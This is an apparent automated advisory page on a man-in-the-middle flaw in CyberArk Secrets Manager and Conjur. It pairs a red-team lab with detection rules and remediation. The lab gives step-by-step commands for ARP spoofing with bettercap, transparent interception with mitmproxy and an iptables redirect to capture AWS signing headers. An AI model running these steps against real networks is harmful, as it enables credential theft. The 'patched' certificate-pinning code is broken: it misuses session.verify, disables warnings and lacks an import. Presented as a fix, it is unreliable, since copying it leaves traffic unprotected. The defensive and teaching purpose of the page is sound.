CVE-2025-49831
Executive Summary
CVE-2025-49831 describes a critical network-level vulnerability in CyberArk Secrets Manager, Self-Hosted (formerly Conjur Enterprise) and Conjur OSS. The flaw allows an attacker who has achieved a Man-in-the-Middle (MitM) position on the network path between the Secrets Manager and AWS to reroute authentication requests to a malicious server. This can lead to credential theft, unauthorized access to secrets, and full compromise of the secrets management infrastructure. The attack requires a misconfigured network device (e.g., a router, switch, or proxy) that does not properly validate the destination of traffic destined for AWS. CyberArk notes that the attack surface is limited, but the impact is severe. Patches are available in versions 13.5.1, 13.6.1 (Secrets Manager Self-Hosted), and 1.22.1 (Conjur OSS).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not a software supply chain issue (e.g., malicious package injection). It is a network-level trust and routing flaw. However, organizations using CyberArk Secrets Manager should verify the integrity of their deployment packages and ensure they are obtained from official CyberArk sources.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official vector assigned by NVD) Threat Level: High (based on impact analysis)
Rationale:
- Attack Vector (AV): Adjacent Network (the attacker must be on the same network segment or have control of a network device between the Secrets Manager and AWS).
- Attack Complexity (AC): High (requires a misconfigured network device and the ability to intercept traffic).
- Privileges Required (PR): None (the attacker does not need prior access to the Secrets Manager).
- User Interaction (UI): None.
- Scope (S): Changed (the attack can compromise the AWS authentication flow, affecting resources beyond the Secrets Manager).
- Confidentiality (C): High (secrets and credentials can be stolen).
- Integrity (I): High (attacker can inject malicious authentication responses).
- Availability (A): Low (the attack primarily targets confidentiality and integrity).
Estimated CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L (Estimated Score: 8.0)
Deep Dive & Mechanics
The vulnerability stems from the way CyberArk Secrets Manager, Self-Hosted and Conjur OSS handle authentication requests to AWS. In a typical deployment, the Secrets Manager communicates with AWS services (e.g., AWS Secrets Manager, IAM) to authenticate and retrieve secrets. This communication relies on the network path being trusted.
The Flaw: When a network device (e.g., a router, firewall, or proxy) between the Secrets Manager and AWS is misconfigured, it can be tricked into routing traffic to an attacker-controlled server. This is often achieved through:
- ARP Spoofing: The attacker sends forged ARP messages to associate their MAC address with the IP address of the AWS endpoint.
- DNS Spoofing: The attacker corrupts the DNS cache to resolve the AWS hostname to their malicious server.
- Rogue DHCP: The attacker provides a malicious gateway or DNS server to the Secrets Manager.
- BGP Hijacking: In more sophisticated attacks, the attacker can announce a more specific route to the AWS IP range, diverting traffic.
Once the attacker has rerouted the traffic, they can:
- Intercept Authentication Requests: The Secrets Manager sends authentication requests (e.g., AWS Signature Version 4) to what it believes is AWS.
- Capture Credentials: The attacker can extract access keys, secret keys, and session tokens from the intercepted requests.
- Respond with Malicious Data: The attacker can respond to the Secrets Manager with fake authentication tokens or secrets, leading to unauthorized access.
- Relay Requests: The attacker can forward the request to the real AWS service, acting as a proxy, and then monitor the response.
Root Cause: The Secrets Manager does not implement strict network path validation or certificate pinning for the AWS endpoints. It trusts the network layer to deliver traffic to the correct destination.
Vulnerable vs. Patched Code
The fix involves implementing strict validation of the TLS connection to AWS, including certificate pinning and hostname verification. The vulnerable code likely used standard TLS libraries without enforcing that the certificate matches a known, pinned fingerprint.
Vulnerable Code (Conceptual):
# Vulnerable: No certificate pinning
import requests
def authenticate_with_aws():
response = requests.get('https://secretsmanager.us-east-1.amazonaws.com',
auth=aws_auth)
# The request is vulnerable to MitM if the network is compromised
return response.json()
Patched Code (Conceptual):
# Patched: Certificate pinning implemented
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import hashlib
# Disable warnings for demonstration
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
PINNED_CERT_HASH = "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" # Example hash
def verify_cert(hostname, cert):
cert_hash = hashlib.sha256(cert).digest()
expected_hash = base64.b64decode(PINNED_CERT_HASH.split('/')[1])
if cert_hash != expected_hash:
raise Exception("Certificate pinning failed!")
session = requests.Session()
session.verify = verify_cert # Custom verification function
def authenticate_with_aws():
response = session.get('https://secretsmanager.us-east-1.amazonaws.com',
auth=aws_auth)
return response.json()
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Intercept authentication requests from a CyberArk Secrets Manager to AWS.
Lab Setup:
- Environment: Two virtual machines on the same network segment.
- Victim: Ubuntu 22.04 running CyberArk Secrets Manager Self-Hosted 13.5.0 (vulnerable).
- Attacker: Kali Linux with
bettercapandmitmproxyinstalled.
- Network: A simple switch connecting both VMs. The attacker will use ARP spoofing.
Exploitation Steps:
- Identify the Target: On the attacker machine, scan the network to find the Secrets Manager's IP address.
sudo nmap -sn 192.168.1.0/24 - Enable IP Forwarding: Allow the attacker to forward traffic to the real AWS.
sudo sysctl -w net.ipv4.ip_forward=1 - Launch ARP Spoofing: Use
bettercapto poison the ARP cache of the Secrets Manager.sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on" - Set up mitmproxy: Intercept and log traffic.
mitmproxy --mode transparent --listen-port 8080 - Redirect Traffic: Use
iptablesto redirect HTTP/HTTPS traffic to mitmproxy.sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 - Trigger Authentication: On the victim machine, trigger a secret retrieval.
conjur policy load -b root -f policy.yml - Capture Credentials: In mitmproxy, observe the intercepted AWS authentication requests. Extract the
Authorizationheader containing the AWS Signature Version 4.
Expected Outcome: The attacker captures the AWS credentials and can use them to access the real AWS Secrets Manager.
Blue Team (Defender)
Objective: Detect and prevent MitM attacks targeting the Secrets Manager.
Detection Steps:
- Monitor ARP Tables: Look for duplicate IP addresses with different MAC addresses.
arp -a | grep -v "192.168.1.1" # Check for anomalies - Network Traffic Analysis: Use a network monitoring tool (e.g., Wireshark, Zeek) to look for:
- Unexpected TLS certificates (not matching the pinned hash).
- Traffic to unknown IP addresses that claim to be AWS.
- ARP replies from unexpected MAC addresses.
- Log Analysis: Check the Secrets Manager logs for connection errors or warnings about certificate validation.
- Honeypot: Deploy a fake AWS endpoint and monitor for connections from the Secrets Manager that should not occur.
Prevention:
- Implement Network Segmentation: Place the Secrets Manager in a dedicated VLAN with strict egress rules.
- Use TLS with Certificate Pinning: Ensure the Secrets Manager is configured to pin the AWS certificate.
- Deploy Network Access Control (NAC): Use 802.1X to prevent unauthorized devices from connecting to the network.
- Enable DNSSEC: Prevent DNS spoofing by validating DNS responses.
Indicators of Compromise (IOCs)
- Network IOCs:
- ARP table entries showing two IP addresses mapping to the same MAC address.
- TLS connections to AWS endpoints with unexpected or self-signed certificates.
- DNS responses for AWS hostnames that resolve to internal or unknown IP addresses.
- Increased traffic to/from the Secrets Manager on non-standard ports.
- Host IOCs:
- Unusual processes running on the Secrets Manager (e.g.,
tcpdump,bettercap). - Modified
/etc/hostsfile pointing AWS hostnames to malicious IPs. - Suspicious entries in the system's ARP cache.
- Unusual processes running on the Secrets Manager (e.g.,
- Log IOCs:
- Secrets Manager logs showing
Connection refusedorCertificate validation failederrors. - Firewall logs showing outbound connections from the Secrets Manager to unknown IPs on port 443.
- Secrets Manager logs showing
Detection Engineering
YARA Rule
rule Detect_MitM_SecretsManager {
meta:
description = "Detects network traffic indicative of a MitM attack on CyberArk Secrets Manager"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49831"
strings:
$s1 = "secretsmanager" nocase
$s2 = "amazonaws.com" nocase
$s3 = "Authorization" nocase
$s4 = "AWS4-HMAC-SHA256" nocase
condition:
all of ($s*) and filesize < 10MB
}
Sigma Rule
title: Suspicious ARP Activity Targeting Secrets Manager
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects ARP spoofing attempts that could be used to intercept CyberArk Secrets Manager traffic.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-49831
logsource:
product: linux
service: arpwatch
detection:
selection:
EventID: 1 # ARP request/reply
SrcIP: 192.168.1.100 # Secrets Manager IP
DstIP: 52.94.216.0/24 # AWS IP range (example)
condition: selection
falsepositives:
- Legitimate network changes
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-49831 - Potential MitM on CyberArk Secrets Manager"; flow:to_server; content:"|16 03|"; depth:2; content:"secretsmanager"; nocase; distance:0; content:"amazonaws.com"; nocase; distance:0; content:"Authorization"; nocase; distance:0; content:"AWS4-HMAC-SHA256"; nocase; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Secrets Manager Self-Hosted 13.5.1, 13.6.1, or Conjur OSS 1.22.1 immediately.
- Network Hardening:
- Implement strict egress filtering on the firewall to allow traffic only to known AWS IP ranges.
- Enable Dynamic ARP Inspection (DAI) on switches to prevent ARP spoofing.
- Use DHCP Snooping to prevent rogue DHCP servers.
- Certificate Pinning: Ensure the Secrets Manager is configured to pin the AWS certificate. This is included in the patch.
Long-Term Mitigations:
- Network Segmentation: Isolate the Secrets Manager in a dedicated VLAN with no direct internet access. Use a proxy or bastion host for outbound traffic.
- Continuous Monitoring: Deploy network monitoring tools (e.g., Zeek, Suricata) to detect anomalous traffic patterns.
- Regular Audits: Conduct periodic network security audits to identify misconfigured devices.
- Incident Response Plan: Update the incident response plan to include scenarios involving MitM attacks on critical infrastructure.
Workaround (if patching is not immediately possible):
- Manually configure the Secrets Manager to use a static route to AWS, bypassing the default gateway.
- Use a VPN or direct connect to AWS to ensure the network path is trusted.
Valters IT